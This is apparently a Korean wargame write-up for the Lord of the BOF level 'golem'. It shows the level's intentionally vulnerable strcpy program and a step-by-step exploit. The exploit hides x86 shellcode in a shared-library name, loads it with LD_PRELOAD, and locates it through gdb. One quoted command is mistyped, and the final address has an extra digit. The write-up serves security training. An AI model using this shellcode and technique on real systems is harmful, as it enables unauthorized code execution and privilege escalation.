728x90
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
bash2를 넣고 시작하자 제발
코드를 보니깐, stack destroyer이라는 함수가 추가된것 같다.
memset 함수를 보면, buffer를 0으로 44번째까지 초기화한다. 마지막 4바이트는 남아있는듯.
마지막 남은 4바이트 이후로도 모두 날라가는걸 보아하니 이 문제는 환경변수를 쓰면 될 듯.
여기서 그냥 EGG를 사용하는게 아니라 따로 공유 라이브러리를 사용해야 한다.
vi로 아무 코드나 만든 뒤
gcc -fPIC --shared -o `python -c 'print '\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*100'`
이렇게 해주면 공유 폴더가 만들어지고,
LD_PRELOAD를 이용하려면, (LOB에선 LD_PRELOAD 후킹만 금지되어있다)
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/skeleton/
를 넣어줘야한다.
export LD_PRELOAD=/home/skeleton/`python -c 'print "\x90"*100 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*100'`
이렇게 해주고 env를 쳐서 제대로 들어갔는지 확인해본다.
아마 잘 안됬으면 명령어가 들어가지도 않을것이다.
이제 이 환경변수의 주소를 찾기위해 golem파일을 gorem파일로 복사하여(c파일을 복사하여 컴파일)
gorem파일을 실행시켜서 core을 gdb를 해준다.
내 환경에서는 $ESP-1400 에서 주소가 잡혔다.
파란색 부분을 보면 90으로 감싸져있고, 이게 쉘코드다.
그러면 시작부분인 0xbfffff4c8부분을 주소로 잡으면 풀린다.
728x90